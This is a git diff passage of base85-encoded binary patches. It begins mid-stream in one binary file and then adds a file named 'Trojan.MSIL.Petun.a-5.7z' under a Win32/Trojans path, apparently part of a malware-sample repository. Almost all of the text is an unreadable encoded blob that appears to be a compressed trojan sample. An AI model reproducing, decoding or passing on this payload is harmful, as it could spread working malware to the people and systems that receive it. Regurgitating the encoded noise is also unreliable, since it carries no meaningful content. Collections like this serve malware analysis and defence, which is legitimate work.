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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z new file mode 100644 index 0000000000000000000000000000000000000000..f85b378b377681b3fbec0aee81a0a70fd20cfa58 GIT binary patch literal 17296 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%0DM*Cs8PqAz>)zahZaEKWG#QPf;lFmx;ey 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 